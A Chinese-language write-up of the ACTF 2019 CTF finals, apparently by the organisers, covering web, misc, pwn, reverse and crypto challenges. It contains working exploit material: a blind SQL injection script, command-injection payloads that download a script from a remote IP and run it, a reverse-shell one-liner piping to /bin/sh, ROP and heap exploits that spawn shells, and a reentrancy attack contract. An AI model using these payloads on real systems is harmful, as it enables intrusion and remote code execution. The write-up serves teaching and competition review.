ACTF 2019 复赛 解题报告

Web

Postgres

出题人感想

这道题爆零了,真是难受,题目描述都说了flag在服务器里,怎么登录了postgres数据库就知道翻数据库,类似的题有今年*CTF 2019的mywebsql,去年南邮校赛的phpmyadmin。

像这种数据库服务,或者web框架,起码看一下当前的版本,再通过版本去搜索漏洞。

考点

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

预备知识

https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

解题过程

配置好连接,密码是123456(这都不尝试一下么)

查看postgres 版本,是10.7

然后搜索postgres 漏洞

CVE-2018-1058 受影响版本从 9.3 到 10 ,pass

CVE-2019-9193 受影响版本从 9.3 到 11

尝试 CVE-2019-9193 Payload,可以执行命令

拿到flag

BypassEveryday

考点

  1. sql注入,延时盲注,绕过
  2. 命令执行绕过

预备知识

其实就是初赛的时间盲注题目和different题目知识点混在一起,这道题是翔哥出的,没想到和之前出的题目知识点撞了,只好放在复赛,但做出different题目的选手没有参加复赛…

这道题其实应该有很大希望被做出来的,但校内网的题目环境当时有点问题,我背锅,还好有准备另外的题目链接,但选手好像没有在另外题目链接尝试

解题过程

登录界面处只返回语句正确或语句不正确

过滤了很多敏感函数

存在注入,使用笛卡尔积的方法达到延时的目的

1
root' and ascii(substr(database(),1,1))=33 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +

编写脚本得到hint:c0mmand_bypass.php

存在exec函数且输入部分可控,经过addslashes和escapeshellcmd的过滤

利用find命令可以另外执行命令的特性,注意-exec要以分号为结束标志,前面需要空格,否则无法识别结束标志

1
a -or -exec curl -o z 39.108.99.6/a ;

没有回显,并且经过前面的过滤,只能在自己VPS上准备反弹shell的命令并利用curl保存,然后sh执行

1
a -or -exec sh z ; -quit

sqlblind.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : Mote
import requests
import string
import time

url = "http://202.197.58.168:30001/controller/action.php?do=logincheck"
database=''
s=requests.Session()
print('start')
#root' and ascii(substr(database(),1,1))=33 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +
for i in range(1,19):
tmp = database
print("第"+str(i)+"位")
for j in range(32,127):
# print("第"+str(i)+"位,trying! "+chr(j))
startTime=time.time()
# payload='root\' and ascii(substr(version(),{0},1))={1} and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +'.format(str(i),str(j))
# payload='root\' and ascii(substr(database(),{0},1))={1} and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +'.format(str(i),str(j))
# payload='root\' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))={1} and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +'.format(str(i),str(j))
# payload='root\' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=(select database())),{0},1))={1} and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +'.format(str(i),str(j))
# payload='root\' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\'hint\'),{0},1))={1} and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)-- +'.format(str(i),str(j))
payload='root\' and ascii(substr((select group_concat(hint) from hint),{0},1))={1} and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C,information_schema.columns D)-- +'.format(str(i),str(j))
datas={
'name':payload,
'password':'sdfsdf',
}
try:
a=s.post(url,data=datas,timeout=3)
# if time.time() - startTime < 2:
# continue
except:
database+=chr(j)
print(database)
break
if (database == tmp):
break

print('end!')
print(database)

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
# import hackhttp

host = argv[1]
port = int(argv[2])
timeout = 30

#在vps服务器上放置反弹shell的payload
payload1 = 'a -or -exec curl -o z 39.108.99.6/a ;'
payload2 = 'a -or -exec sh z ; -quit'
payload = [payload1,payload2]
# payload = [payload]
def getshell():
protorl = "http://"
url_path = "/c0mmand_bypass.php?action=bypass"
url = protorl+host+":"+str(port)+url_path
for i in range(0,2):
datas = {
'file':payload[i],
}
s = requests.Session()
res = s.post(url=url,data=datas,timeout=5)
# print(res.text)


if __name__ == '__main__':
getshell()

点赞 2.0

出题人感想

没想到这道题是最先被做出来,第一题反而没人做出来。

IP代理是当初想刷小黑盒优惠券弄了下,但现在的优惠券用不着刷赞

考点

IP代理和命令注入绕过

预备知识

IP代理工具:https://scylla.wildcat.io/zh/latest/

或者其它IP代理

解题过程

IP代理脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import random
import time

r = requests.session()

data={
'just':'have fun',
}

url = 'http://60.205.189.243:29016/index.php'

def get():
json_resp = requests.get('http://144.34.200.224:8899/api/v1/proxies?limit=100').json()
proxy = random.choice(json_resp['proxies'])
print (proxy['ip'])
try:
s = r.post(url,data=data,proxies={'http': 'http://{}:{}'.format(proxy['ip'], proxy['port'])},timeout=10.0)
except IOError:
print("超时")
return
else:
pass
print(s.text[700:])
time.sleep(1)
# print(s.headers)

for i in range(100):
get()

点赞后拿到一个链接,查看发现是命令执行绕过,没有禁止 | 和 & ,可以闭合双引号然后用 | 或者 & 执行命令

& 在linux里的作用是在后台执行命令

| 是管道符

我的Payload,直接反弹shell

1
"| curl -s https://shell.now.sh/144.34.200.224:1337| /bin/sh | "

推荐一个反弹shell工具:https://github.com/0xR0/shellver

CoCo1er 的 Payload,让 ls 在后台执行,后面的 echo 是可以去掉的

1
2
3
4
" & ls & echo "

获取flag,flag被过滤了用通配符
" & cat /f* & echo "

举个例子更好理解一点

不见君 的Payload,%0a url解码后是换行符

1
id=" %0a cat /fla* %0a echo "

附上命令分隔符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
%0a 符号
换行符
%0d 符号
回车符
; 符号
表示连续指令
& 符号
表示将前一个命令设置进入后台
| 符号
管道符,将前一个命令的输出作为后一个命令的输入
&& 符号
前一个命令执行成功才会执行下一条命令
|| 符号
前一个命令执行失败才会执行下一条命令

Misc

Telnet

考点

流量包分析+Telnet协议

解题过程

既然题目都说了是telnet,给的也是数据包,那么就看看telnet的包,然后发现每个数据包都只有一个字节,那不是坑人吗。然而只要follow TCP即可看到完整的telnet交互。把每一次的交互看完,发现一共有两次成功的telnet连接。

当然,由于输入账号是有回显的,所以账号的每个字符都出现了两次,去重后两次成功连接的账号和密码如下:

账号1:csu

密码:YXVyb3JhJTdCUWEwcXJS

账号2:Z05VMUh4eTJKMyU3RA==

密码:aurora

合并账号1的密码和账号2的用户名,明显是base64编码,解密后,再url编码一下即可获得flag。

YXVyb3JhJTdCUWEwcXJSZ05VMUh4eTJKMyU3RA==

replay

考点

智能合约重入攻击

解题过程

该题在看完后,发现是重入攻击的漏洞,漏洞详情请看:https://lalajun.github.io/2018/08/29/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%89%E5%85%A8-%E9%87%8D%E5%85%A5%E6%94%BB%E5%87%BB/

关键函数为以下:

1
2
3
4
5
6
function withdraw(address to) public {
require(times[msg.sender] <= 2);
balances[msg.sender] += 1;
address(to).call.value(1)("");
times[msg.sender] += 1;
}

该函数在修改完余额的记录(balances[msg.sender] += 1; )之后,就立马返回了value(address(to).call.value(1)(“”);),然后才去修改次数的记录(times[msg.sender] += 1),这就导致了重入攻击。

然而这题需要构建一个合约来和目标合约进行交互。攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Attack {
address owner;
address victim;

modifier ownerOnly { require(owner == msg.sender); _; }

constructor() payable public{ owner = msg.sender; }

// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly public { victim = target; }

// withdraw Ether from IDMoney deployed
function step1() ownerOnly public {
address(victim).call(abi.encodeWithSignature("withdraw(address)", this));
}

// getFlag
function step2(string memory mail) ownerOnly public{
address(victim).call(abi.encodeWithSignature("getFlag(string)",mail) );
}

function () payable external {
if (msg.sender == victim) {
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币
address(victim).call(abi.encodeWithSignature("withdraw(address)", this));
}
}
}

前置步骤查看solidity-overflow。

首先是部署合约,然后再setVictim一栏输入受攻击合约的地址:0x73863d455bfdb9732924efd021934b205fbd2c5c,点击setVictim。

然后点击step1,这里要对gas进行修改,点击GAS-FEE的EDIT(解释一下该步骤的原因,由于区块链的原因,所以智能合约每个步骤实际上都要缴费的,而GAS就是费用,一般会自动设置好的。但是本次攻击为重入攻击,所以实际上会有多次合约之间的交互,而默认设置的GAS是不足够的,不修改这里那就只会触发前几次的重入攻击,之后费用耗尽,就无法再次触发了)

修改如下图,点保存,允许交易。

这时候等待该交易的完成,然后点击该交易的地址。

点击上面的internal Transaction,若是能看到一大串的函数调用成功,则本次攻击成功。

最后只需要触发getflag函数即可。

magic_ball

magic_ball

考点

信息论

解题过程

这里有exp思路,具体的证明过程在里面提到的论文里。

正解是每次都要称n/3个球,这样才能获得最大的信息。

这里放一份可以用的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
from sets import Set
import sys


def find_the_ball(io, weight, balls):
st = Set()
mp_n2c = {}
mp_c2n = {}
cw = 0
i = 0
while cw < balls:
i += 1
s = num_to_str(i, 3).rjust(weight, "0")
if clockwise(s) and s not in st:
st.add(s)
mp_n2c[cw] = s
mp_c2n[s] = cw
cw += 1
s = next_clockwise(s)
st.add(s)
mp_n2c[cw] = s
mp_c2n[s] = cw
cw += 1
s = next_clockwise(s)
st.add(s)
mp_n2c[cw] = s
mp_c2n[s] = cw
cw += 1
ans = ""
for i in range(weight):
log.info(" {} weight...".format(i))
left = []
right = []
for ball in st:
if ball[i] == "0":
left.append(mp_c2n[ball])
elif ball[i] == "2":
right.append(mp_c2n[ball])
io.recvuntil("side of the balance?")
io.recvline()
io.sendline(str(len(left)))
io.recvline()
io.sendline(" ".join(map(str, left)))
io.recvline()
io.sendline(str(len(right)))
io.recvline()
io.sendline(" ".join(map(str, right)))
balance = io.recvline()
if balance[4] == "l":
ans += "0"
elif balance[4] == "r":
ans += "2"
else:
ans += "1"
io.recvline()
log.success("Clockwise index of ball is " + ans)
if clockwise(ans):
io.sendline(str(mp_c2n[ans]))
io.recvline()
io.sendline("h")
else:
io.sendline(str(mp_c2n[anticlockwise(ans)]))
io.recvline()
io.sendline("l")


def next_clockwise(s):
return s\
.replace("0", "a")\
.replace("2", "0")\
.replace("1", "2")\
.replace("a", "1")


def num_to_str(n, b, alphabet="0123456789abcdefghijklmnopqrstuvwxyz"):
if not n:
return "0"
else:
return num_to_str(n // b, b).lstrip("0") + alphabet[n % b]


def clockwise(s):
for i in range(len(s) - 1):
if s[i] != s[i + 1]:
return ((s[i] == "0" and s[i + 1] == "1")
or (s[i] == "1" and s[i + 1] == "2")
or (s[i] == "2" and s[i + 1] == "0"))
return False


def anticlockwise(s):
return s.replace("0", "a").replace("2", "0").replace("a", "2")


io = ""
if len(sys.argv) > 1 and sys.argv[1] == "r":
io = remote("140.82.19.20", 45128)
# context.log_level = "debug"
else:
io = process("./magic_ball.out")
# context.log_level = "debug"

io.recvuntil("PWN challenge.")
log.success("Game begin~")

rds = [[0, 2, 3], [1, 3, 9], [2, 3, 12], [3, 7, 1092]]

for rd in rds:
log.info("Round {} with {} weights {} balls..."\
.format(rd[0], rd[1], rd[2]))
find_the_ball(io, rd[1], rd[2])
log.success(io.recvuntil("it~"))

Pwn

一拳一个复读机

考点

简单ROP

解题过程

repeat()源码如下:

1
2
3
4
5
6
void repeater() {
printf("Input> ");
char buf[40];
read(0, buf, 0x40);
puts(buf);
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

io = process('OnePunchPerRepeater')
elf = ELF('OnePunchPerRepeater')

vul_func = 0x80486aa
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']

io.recvuntil('2) Exit\n')
io.sendline('1')
io.recvuntil('Input> ')
payload = 0x2c * 'a' + p32(puts_plt) + p32(vul_func) + p32(puts_got)
io.send(payload)
io.recvuntil('\n')
puts_addr = u32(io.recv(4))
print 'puts address is ' + hex(puts_addr)

puts_offset = 0x5fca0 # Get libc version according to leak address, then get function offset
system_offset = 0x3ada0
binsh_offset = 0x15ba0b
libc_addr = puts_addr - puts_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset

payload = 0x2c * 'a' + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
io.recvuntil('Input> ')
io.send(payload)
io.recvuntil('\n')

io.interactive()

article

考点

覆写__stack_chk_fail绕过canary

解题过程

程序可以溢出,且有足够的空间布置参数,但是需要绕过canary。

此处存在任意地址写:

sub_8048723是一个字符串复制函数,以\0作为截止,且不会复制\0v19s的栈位置的下方,可以被s通过局部溢出覆写

由于程序是Partial RELRO,所以可以通过这个任意地址写,将GOT表中的__stack_chk_fail的内容改为任意一个ret的地址,这时候就算触发了canary检查,调用了__stack_chk_fail函数,也只会执行一个ret就直接返回,没有任何影响。

剩下的就是正常ROP就行了,但是要注意,所有的变量都在s栈的下方,所以溢出的时候要特别注意不能把其他关键变量给破坏了,特别是循环控制变量和循环边界变量。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from LibcSearcher import LibcSearcher

io = process('article')
#io = remote('202.197.58.168', 33471)
#io = remote('149.129.67.142', 33471)
elf = ELF('article')

ret = 0x80488ef
write_article = 0x8048786
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

io.recvuntil('(less than 10)\n')
io.sendline('2')
io.recvuntil('63 chars\n')

payload = p32(ret) + 0xc * '\x00' + p32(2) + p32(0) + p32(elf.got['__stack_chk_fail'])
io.send(payload)
io.recvuntil('63 chars\n')

payload = 0x10 * 'a' + p32(2) + p32(1) + p32(0x804a0c0) + 0x10 * 'a' + p32(puts_plt) + p32(write_article) + p32(puts_got)
io.send(payload)
puts_addr = u32(io.recv(4))
print 'function puts address: ' + hex(puts_addr)

# Get libc version according to leak address, then get function offset
libcsearch = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libcsearch.dump('puts')
system_addr = libcbase + libcsearch.dump('system')
binsh_addr = libcbase + libcsearch.dump('str_bin_sh')

io.recvuntil('(less than 10)\n')
io.sendline('1')
io.recvuntil('63 chars\n')

payload = 0x10 * 'a' + p32(1) + p32(0) + p32(0x804a080) + 0x10 * 'a' + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
io.send(payload)
io.interactive()

Bucket List

存在漏洞:

free之后没有清空指针,可以2free。

思路:

通过fastbin_dup_consolidate修改inuse位

用small desire构造一个fake_chunck,然后delete big desire它触发unlink

劫持got表,将free_got覆盖为puts_got,泄露出atoi的地址,并得到基址和libc文件

再将free_got改为system函数地址,执行system(“/bin/sh\x00”)

exp:

下面给出本地的exp,远程攻击时,要用通过泄露出的地址得到libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding:utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = process('./Bucket_List')

elf = ELF('./Bucket_List')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
def add(index, content):
p.recvuntil('3. Renew desire\n')
p.sendline('1')
p.recvuntil('\n')
p.sendline(str(index))
p.recvuntil('desire: \n')
p.send(content)

def delete(index):
p.recvuntil('3. Renew desire\n')
p.sendline('2')
p.recvuntil('2. Big desire\n')
p.send(str(index))

def update(index, content):
p.recvuntil('3. Renew desire\n')
p.sendline('3')
p.recvuntil('2. Big desire\n')
p.sendline(str(index))
p.recvuntil('desire: \n')
p.send(content)

#分配chunk1 chunk2
add(1, 'a'*0x10)
add(2, 'b'*0x10)
#释放chunk1
delete(1)
#分配chunk3,让chunk1被移动到unsorted bin,使chunk2的inuse位变为0
add(3, 'c'*0x10)
#这时再释放chunk1,让chunk1重新进入fast bin
delete(1)

heap_ptr = 0x6020d0 #堆指针
#准备unlink,在chunk1中伪造chunk
payload = p64(0) + p64(0x21)
payload += p64(heap_ptr - 0x18) + p64(heap_ptr - 0x10)
payload += p64(0x20)#因为内存复用,这里设置chunk2的prev_size
add(1, payload)
#此时chunk2的inuse位是0,所以触发unlink
delete(2)

free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
puts = elf.symbols['puts']
system_off = libc.symbols['system']
atoi_off = libc.symbols['atoi']

#unlink后 堆指针被修改,向现在指针所指内存写入数据
#将chunk2指针覆盖为atoi_got
#将chunk3指针覆盖为puts_got
#将chunk1指针覆盖为free_got
payload = p64(0) + p64(atoi_got)
payload += p64(puts_got) + p64(free_got)
update(1, payload)
#再次向chunk1写入,相当于向free_got写入
#这里将free_got写为puts
update(1, p64(puts))

#删除chunk2,但是free的got表已经被写为puts,所以这里实际调用puts(chunk2)
#因为chunk2指针被覆盖为atoi_got,所以输出的是atoi的实际地址
#由此可计算出libc_base
delete(2)
libc_base = u64(p.recv(6) + '\x00\x00') - atoi_off#通过调试发现,这里只能取6个字节
print "libc_base : %#x" % libc_base
system = libc_base + system_off

#将free的got表写为system
update(1, p64(system))
#向chunk2中写入binsh 释放chunk2时 chunk2的内容会作为参数
add(2, '/bin/sh\x00')
delete(2)

p.interactive()

Reverse

find

考点

符号扩展和零扩展的区别

解题过程

题目将正确的flag索引设置成了char类型,查表的过程则是每一步将索引数组累加的值作为这一步的表下标:

1
2
3
4
5
6
7
8
9
10
11
next_skip = -107;//char next_skip;
v26 = &flag_index;//char *v26;
do
{
putchar(table[index]);//int index;
skip = next_skip;//int skip;
//char next_skip;
next_skip = *++v26;
index += skip + 1;
}
while ( *v26 );

在累加前,获取当前这一步的索引数组值,也就是skip = next_skip;时,由于索引数组值是char类型,赋值给一个int型值的时候会进行扩展,汇编层面上的指令是movsx (符号扩展)。这就造成了在累加时产生一个错误的结果,导致输出的不是正确的flag。解题的话需要看懂描述部分给出的关于符号扩展的提示,将源程序的movsx改成movzx,就能输出正确的flag;也可以照着IDA反编译出来的代码写出来之后将skip定义为unsigned int类型,运行得到flag。

flag: aurora{Y0v_g3t_1t}

ArithmeticCoding

解题过程

APK文件,安卓逆向,用JEB打开,从LoginActivity开始看:

email值为”aurora”,password长度为10。
继续往下看:

跟进:

发现找到关键函数check()

只要加密结果为0.590126就可以,查看加密函数:

分析代码,加上题目名为ArithmeticCoding,判断是熵编码中的算术编码,首先要找到码元和频率:
发现代码中有查询数据库操作,查看MyOpenHelper,发现有码元和对应的区间:

码元为:e,o,r,s
对应频率为:0.3,0.2,0.2,0.3
解码0.590126:roserosese
得到flag为:aurora{roserosese}

math

考点

符号执行、angr使用

预备知识

符号执行是一个重要的自动化软件分析技术,常用于软件测试中,它的基本思想是,将输入符号化,用一个抽象的符号代替实际的输入,从而能最大程度地遍历程序所有可能的路径,每个路径可以用一组约束表达式唯一表示,对某个路径的约束表达式进行符号求解,那么当输入为这组解的时候,就一定会走这条路径。

这个在CTF中非常有用,当我们指定求解走向flag正确的那条路径的时候,求解出来的输入就是flag,我们就不必要去人工地逆向繁杂的约束条件,从而实现自动化分析。

举个例子,假设有以下程序片段:

1
2
3
4
5
6
7
8
9
10
11
scanf("%d", &a);
if (a > 5) {
printf("flag is wrong");
exit(0);
}
else if (a < 3) {
printf("flag is wrong");
exit(0);
}
else
printf("flag is right");

若我们将该程序片段的控制流图画出来,大概是这样:

总共有三条路径,先将输入a符号化,符号执行会模拟执行所有的路径,得到每个路径对应的约束条件,然后我们选择求解flag正确的那条路径,就能得到约束解3 <= a <= 5,那么输入满足这个约束解的所有值,比如3,4,5,都能使程序走向flag正确的路径。

看似符号执行这种自动化分析方法似乎能解决所有CTF逆向问题,其实不然,符号执行不是万能的,理想和现实还有很大的差距。符号执行这种方法几十年前就已经提出了,但却依然没能广泛应用,原因就在于它无法很好地解决路径爆炸的问题。循环和递归最容易出现路径爆炸,以循环为例,单轮循环结束后会产生两条路径:跳出循环、不跳出循环,如果跳出循环后程序马上就结束了那就还好,路径复杂度大约只是$O(2n)$,类似效果图如图所示:

如果跳出循环后还有一大堆代码的话,路径复杂度就是呈指数增长了,如图所示:

递归同理。目前没有一个很好的方式解决这个问题,一般来说,我们可以通过路径剪枝来减少路径,但这样做势必降低代码覆盖率,导致分析出现遗漏,不过有时候,当自己确定某些路径不需要分析的时候,可以通过增加路径约束条件对路径剪枝。还有一种方法就是,借助人工分析,将一些循环和递归结构打上钩子,写一段模拟过程代替这段循环或递归结构,之所以能这样做,是因为符号执行本身就是模拟执行,根据人工分析自己写一段模拟过程去代替实际程序并无问题,但这种方法需要人工介入,如果程序大量出现循环和递归结构,则会使人工介入得太多,失去了符号执行本身的意义。

因此,想完全依靠符号执行进行全自动化分析还有很长的路要走,如果你能够发现一种方法,能很好解决路径剪枝和代码覆盖率,自动分析和人工介入这两对矛盾的话,请速发论文,绝对轰动学界。

回到CTF逆向来说,一般符合这两个条件的题目可以考虑用符号执行解决:

  • 约束类问题,flag通过大量约束条件约束,人工分析太困难,甚至把约束式输入进z3求解器都困难
  • 循环和递归结构极少,余下的循环或递归方便通过模拟过程将其代替

如果循环或递归结构多,但是又存在约束类问题的时候,我们不妨降低要求,只符号执行约束类部分,其他部分还是用传统方法解决。

解题过程

此题的逆向分析难度不大,很容易看出有500个约束式约束16个未知数,这16个未知数的ASCII码组合起来即是flag。500个约束式约束16个未知数那么必然只有16个是真实约束式,剩下484个都是冗余约束式,问题在于16个真实约束式是随机分布的,很难肉眼看出哪些是真实约束式。

一个很直接的想法是IDA反编译F5后,写一个字符串处理脚本把参数扒下来,然后整理到z3求解器中去求解,但是F5后的结果不完全规则,存在很多需要手工处理的地方:

除非编程能力很强,对编程语言的操作很熟练,否则在复赛限时的条件下,做该题的机会成本将大于收益。如果我们思考一下,这些约束条件能不能通过什么技术自动化地跑出来,就可以想到用符号执行来解决,符号执行的方法远好过字符串处理的方法。本题是符号执行中最简单的情景,没有一个循环,钩子都不需要打,只需要将16个变量符号化,然后选择走输出Good Job的路径,求解约束即可得到结果。

本题使用angr解决,适用于最新的angr 8,搭配Python 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import angr
import claripy
import time

print('Begin at ' + time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))

p = angr.Project('math.exe')
state = p.factory.blank_state(addr = 0x4016ae, add_options={angr.options.LAZY_SOLVES})
num = [claripy.BVS('num' + str(i), 32) for i in range(16)]
for i in range(16):
state.memory.store(0x424440 + 4 * i, num[i], endness = p.arch.memory_endness)
sim = p.factory.simgr(state)
sim.explore(find=0x41f084, avoid=0x40167a)

if sim.found:
print('\nResult Found! Now Solving Constraints ...\n')
result = sim.found[0]
num_result = []
print('The number is:\n')
for i in range(16):
temp = result.solver.eval(num[i])
num_result.append(temp % 256)
print(temp % 256)
flag = 'aurora{'
num_result = [chr(i) for i in num_result]
flag += ''.join(num_result)
flag += '}'
print('Flag is ' + flag)

print('End at ' + time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))

本题的源代码是自动化生成的,500个约束式不是我手动打进去的,我设计了题目生成脚本,可以做到一人一题,甚至稍加改造可以做到一人一flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import random

RedundantNum = 484
inner_flag = 'Sym60l1c_Ex3c_8d' #flag长度必须大于10,但考虑到求解复杂度,不宜超过20

def printConstraint(paraList, length):
paraChar = [str(i) for i in paraList]
f.write(' if((%s)*number[0]+' % (paraChar[0]))
for i in range(1, length - 1):
f.write('(%s)*number[%d]+' % (paraChar[i], i))
f.write('(%s)*number[%d] != %s)\n' % (paraChar[length - 1], length - 1, paraChar[length]))
f.write(' wrong();\n')

RedundantListArray = []
TrueListArray = []
TrueNumber = [ord(i) for i in inner_flag]
multiarray = [-4, -3, -2, 2, 3, 4]
print 'True Number is:\n'
print TrueNumber
print 'True List Array is:\n'
for i in range(len(TrueNumber)):
temp = []
sum = 0
for j in range(len(TrueNumber)):
n = 0
while n == 0:
n = random.randint(-10, 10)
temp.append(n)
sum += n * TrueNumber[j]
temp.append(sum)
TrueListArray.append(temp)
print temp
print '\nRedundant List Array is:\n'
True2Redundant = random.sample(TrueListArray, 10)
for i in range(10):
for j in multiarray:
temp = True2Redundant[i]
temp = [(j * k) for k in temp]
RedundantListArray.append(temp)
print temp
TrueListSequence = [i for i in range(len(TrueNumber) + RedundantNum)]
TrueListSequence = random.sample(TrueListSequence, len(TrueNumber))
print '\nTrue List Sequence is:\n'
print TrueListSequence

f = open('math.c', 'w')
f.write('#include <stdio.h>\n')
f.write('#include <stdlib.h>\n')

f.write('int number[%d];\n' % (len(TrueNumber)))

f.write('void inputnumber() {\n')
f.write(' for(int i=0; i<%d; i++) {\n' % (len(TrueNumber)))
f.write(' printf("Num[%d]: ", i);\n')
f.write(' scanf("%d", number+i);\n')
f.write(' }\n')
f.write('}\n')
f.write('void wrong(){\n')
f.write(' printf("You are wrong.\\n");\n')
f.write(' exit(0);\n')
f.write('}\n')

f.write('int main() {\n')
f.write(' inputnumber();\n')

n = 0
for i in range(len(TrueNumber) + RedundantNum):
if i in TrueListSequence:
printConstraint(TrueListArray[n], len(TrueNumber))
n += 1
else:
temp = random.sample(RedundantListArray, 1)
printConstraint(temp[0], len(TrueNumber))

f.write(' printf("Good Job\\nThe flag is aurora{')
for i in range(len(TrueNumber)):
f.write('%c')
f.write('}"')
for i in range(len(TrueNumber)):
f.write(', number[%d]' % (i))
f.write(');\n')
f.write(' return 0;\n')
f.write('}')

生成出来的math.c直接编译即可。

Crypto

Cipher_on_the_hill

考点

hill cipher, module inverse matrix

解题过程

希尔密码不抗明文攻击,所以只需要根据已经有的明文密文对来尝试找出密钥即可。

但是运算量是不小的,其实性价比不高

naive_RSA1

考点

简单数学

解题过程

$$m’ = m\times a$$
$$m’^3≡m^3\times a^3\mod n$$

而 a 已知,所以$d=a^{-1}\mod n$已知

$$c\times d^3 ≡ m^3\mod n$$

然后开三次方即可

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import long_to_bytes, bytes_to_long

x = 0x100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
n = 459441343878838078293286096510058647773320113413890468785105789662621269387891838232419099868307700293715483241393420034287928602983059366088958657253275756066266613514958180982236364689966819727108148894291162908391743217077948276720282841874090984703545201873622750974404952066731614676503420193688817158428927993007635242890587504097532904378693546397251618116127983060386314403885319244160542576108297146476570232413329677163707752056000446448011326559708617857108983313052125708984555198242110417277652174926331389922836396211895870248424152725236751739313610509910222574347996865992519874043195923256381091668883605028879886698392818273526732098800789993006550058331201836303512020269104786330181367017937044604080499917220979891472536388721721550910930877949517562462560672453173551976280460826319299980659733163344887961115312047870716088533630895824726725461020502360489998223325074448054105056105941434695625366493768398336148220700552820494560721565471915490798613287989291708156660513219186163678703259159797940249756673872782279446489901385419160015486612341400495006112979351078925489795625517634513833142656333187304668609150331922805684454110649783902986833497495376284612878423776210978418009056625401986097685020153
